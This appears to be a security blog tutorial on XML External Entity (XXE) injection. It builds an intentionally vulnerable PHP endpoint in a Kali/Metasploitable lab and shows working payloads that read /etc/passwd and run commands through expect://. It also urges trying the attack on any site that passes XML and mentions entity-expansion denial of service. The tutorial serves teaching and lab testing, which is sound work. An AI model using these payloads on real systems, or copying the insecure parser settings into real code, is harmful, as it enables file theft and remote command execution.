Attacking XML with XML External Entity Injection (XXE)

Within XML, there is a way to inject an external file.  For a long time, automatic XML parsers (using libxml2 in the backend) had this enabled by default.  So when XML is used as a means to format and pass data around, the website is very likely vulnerable.

XML is used in this way very frequently, but a couple of the usual suspects are some sort of API that does SOAP requests and Javascript/Ajax that uses XML to pass data.

Setup Your Testbed

For web based attacks, I usually like to test things out on Mutillidae as it comes with Metasploitable 2.  The newest version of Mutillidae has a neat page to try this attack, but the one that comes with Metasploitable 2 does not.  So I simply created my own PHP page to test it with.

Using Kali Linux, I added the following file to /var/www:

<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure
$creds = simplexml_import_dom($dom);
$user = $creds->user;
$pass = $creds->pass;

echo “You have logged in as user $user”;
?>

I called this file xmlinject.php.  This file expects to receive XML content.  The expected XML content is something like the following:

<creds>
<user>admin</user>
<pass>mypass</pass>
</creds>

Start the Apache with “service apache2 start”.

You can send the XML content any number of ways, but for this example, I will write it to a file called xml.txt and use curl to send it with the following command:

curl -d @xml.txt http://localhost/xmlinject.php

xxe2

 

Under normal circumstances, you may use curl, or you may want to capture traffic in transit using Burp proxy or Zap or something along those lines.

Note that most of those lines of PHP code aren’t normally required.  However on the off chance that you are running with the fixed version of libxml2, this code will turn off the external entity protection for the purposes of the example.

Attack

How do you find a vulnerable host?

As mentioned previously, this is very often a SOAP request in an API or a Javascript request within some application using Ajax.  Go ahead and try it on anywhere there is XML information being passed around.

How do you attack that host?

In this example, whatever the contents are under “user” are being repeated back.  So add if you want to read the contents of the /etc/passwd file, the new malicious XML will look something like the following:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

Send this to the test PHP file, and you’ll get back the contents of /etc/passwd:

xxe3

As you can see, you basically just injected the contents of an external file into the “user” field.

But we’re not done yet.  If the “expect” module is installed in PHP (you can install it with “apt-get install libexpect-php5” and restart Apache), you can also do command injection.  Try changing your XML to the following:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

Now you get the results of the “id” command back:

xxe4

There are also other things to do, like several different types of denial of service attacks (what happens if you inject /dev/random?) such as general or recursive entity expansion.

References

https://www.owasp.org/index.php/XML_External_Entity_%28XXE%29_Processing
http://phpsecurity.readthedocs.org/en/latest/Injection-Attacks.html
http://stackoverflow.com/questions/24117700/clarifications-on-xxe-vulnerabilities-throughout-php-versions

Leave a Reply

Your email address will not be published. Required fields are marked *